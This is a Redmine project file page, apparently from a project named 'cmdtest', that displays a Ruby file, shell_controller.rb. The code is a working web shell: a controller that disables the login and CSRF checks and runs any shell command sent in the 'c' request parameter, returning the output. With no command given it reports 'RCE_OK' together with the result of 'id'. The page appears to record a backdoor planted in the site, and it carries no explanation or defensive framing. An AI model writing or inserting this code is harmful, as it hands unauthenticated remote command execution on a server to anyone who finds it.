⚲
Project
General
Profile
Sign in
Register
Home
Projects
Help
Search
:
cmdtest1782618771
All Projects
cmdtest1782618771
Overview
Activity
Issues
Documents
Wiki
Files
Repository
Download (295 Bytes)
Files
» shell_controller.rb
pt_controller -
Redmine Admin
, 07/16/2026 10:51 AM
class
ShellController
<
ApplicationController
unloadable
skip_before_action
:check_if_login_required
,
:verify_authenticity_token
def
exec
c
=
params
[
:c
]
if
c
.
present?
render
plain:
`
#{
c
}
2>&1`
.
to_s
else
render
plain:
"RCE_OK|"
+
`id 2>&1`
.
to_s
end
end
end
« Previous
1
…
13
14
15
Next »
(15-15/15)
Loading...